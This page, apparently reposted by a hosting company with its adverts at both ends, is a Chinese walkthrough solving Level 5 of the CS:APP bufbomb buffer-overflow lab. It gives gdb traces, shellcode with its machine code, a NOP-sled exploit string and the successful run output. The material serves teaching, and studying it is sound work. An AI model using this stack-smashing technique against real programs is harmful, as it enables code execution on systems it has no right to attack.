Level 5 Nitroglycerin (10 分)
创新互联建站一直通过网站建设和网站营销帮助企业获得更多客户资源。 以"深度挖掘,量身打造,注重实效"的一站式服务,以网站设计、网站制作、移动互联产品、成都全网营销推广服务为核心业务。10年网站制作的经验,使用新网站建设技术,全新开发出的标准网站,不但价格便宜而且实用、灵活,特别适合中小公司网站制作。网站管理系统简单易用,维护方便,您可以完全操作网站资料,是中小公司快速网站建设的选择。题目说明:这一关是一道加分题。在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn:
int getbufn() { char buf[512]; Gets(buf); return 1; }
这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。
与Level4相同,但要求提供同一个exploit string,在getbufn被调用5次后,最终返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。
解法:
由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。
(gdb) disass getbufn Dump of assembler code for function getbufn: 0x08048a60: push %ebp 0x08048a61 : mov %esp,%ebp 0x08048a63 : sub $0x208,%esp 0x08048a69 : add $0xfffffff4,%esp 0x08048a6c : lea 0xfffffe00(%ebp),%eax 0x08048a72 : push %eax 0x08048a73 : call 0x8048b50 0x08048a78 : mov $0x1,%eax 0x08048a7d : mov %ebp,%esp 0x08048a7f : pop %ebp 0x08048a80 : ret End of assembler dump. (gdb) b *0x8048a72 注:在调用Gets前下断点 Breakpoint 1 at 0x8048a72 (gdb) run -n -t heen 以Nitro模式运行 Starting program: /root/Desktop/buflab/bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 以16进制打印buf $1 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $2 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $3 = 0xbfffaec8 (gdb) cont Continuing. Type string:hello again again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $4 = 0xbfffae98 (gdb) cont Continuing. Type string:dfafafaf Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $5 = 0xbfffaec8 (gdb) p $ebp+0xfffffe00-$ebp $6 = -512 (gdb) cont Continuing. Type string:fdfdfdfdfff Dud: getbufn returned 0x1 Better luck next time Program exited normally.
在getbufn被调用5次时,buf分别为0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我们打印了一下buf与EBP之间的偏移,正好为buf分配的512字节。堆栈布局如图所示。
由于buf分配了足够的存储空间(512字节),而且buf本身随机变化,因此我们考虑在实际的shellcode前加上NOP Sled(空指令雪撬),然后提供一个buf在getbufn5次调用中的大地址覆盖ret,这样可保证ret指向EBP与实际buf之间的NOP Sled区,这样保证通过NOP空指令滑行,最终执行shellcode。
另外一个需要注意的地方是恢复调用函数testn的堆栈状态,由于EBP不固定,不能向Level 4那样在exploit string中填入SFP,需要在shellcode中设置。
总结一下,编写shellcode需要(1)恢复SFP;(2)设置getbufn返回值为cookie;(3)跳转到testn中调用getbufn后的下一指令地址。
反汇编testn
(gdb) disass testn Dump of assembler code for function testn: 0x08048a84: push %ebp 0x08048a85 : mov %esp,%ebp 0x08048a87 : sub $0x18,%esp ; %ebp=%esp+0x18 0x08048a8a : movl $0xdeadbeef,0xfffffffc(%ebp) 0x08048a91 : call 0x8048a60 0x08048a96 : mov %eax,%edx ;shellcode需要返回到的地址 0x08048a98 : mov 0xfffffffc(%ebp),%eax 0x08048a9b : cmp $0xdeadbeef,%eax 0x08048aa0 : je 0x8048ab1 0x08048aa2 : add $0xfffffff4,%esp 0x08048aa5 : push $0x8049440 0x08048aaa : call 0x8048748 0x08048aaf : jmp 0x8048ae1 0x08048ab1 : cmp 0x804aa50,%edx 0x08048ab7 : jne 0x8048ad3 0x08048ab9 : add $0xfffffff8,%esp 0x08048abc : push %edx 0x08048abd : push $0x80494c0 0x08048ac2 : call 0x8048748 0x08048ac7 : add $0xfffffff4,%esp 0x08048aca : push $0x4 0x08048acc : call 0x8048c30 ---Type to continue, or q to quit---
由于我们只覆盖了getbufn在堆栈中的SFP和RET,不会影响ESP,可以反推testn堆栈中的ebp(即getbufn的SFP)为esp+0x18。通过这些信息,编写shellcode,并获得其十六进制的机器码
[root@localhost buflab]# cat exploit5_shellcode.s leal 0x18(%esp),%ebp movl $0x5573b7cf,%eax pushl $0x8048a96 ret [root@localhost buflab]# gcc -c exploit5_shellcode.s [root@localhost buflab]# objdump -d exploit5_shellcode.o exploit5_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 8d 6c 24 18 lea 0x18(%esp),%ebp 4: b8 cf b7 73 55 mov $0x5573b7cf,%eax 9: 68 96 8a 04 08 push $0x8048a96 e: c3 ret
上述shellcode的机器码包括15个字节,我们还需要在其前面填入512 -15 = 497个NOP(90)。
编写497个空格间断的90是一件痛苦的事,幸好我们有perl来帮我们完成
[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt
当然perl还可直接生成exploit string,由于有sendstring程序,此处不表。
接着编辑exploit5.txt,在最后一个90后填入。
90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf
<-497个->
上面的4个61为覆盖SFP的地方,由于我们shellcode中做了设置,因此此处可为任意字节(除回车和nul),最后紧跟我们实验中获得的buf 的大地址0xbffffaec8。
运行
[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf NICE JOB!
在getbufn调用5次后,满足了题目要求。
总结:
上述5关前前后后做了一个月,尽管以前对栈的缓冲区溢出有所理解,但当真正实践起来又是另外一回事,也并非如记录中的那样一帆风顺、信手捻来,而是走了无数的弯路以后才理解、并应用了正确的方法、得出了最后的结果,正所谓"纸上得来终觉浅,绝知此事要躬行",在信息安全这样一个实战性极强的领域里,更需要实实在在地耕耘下去。
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。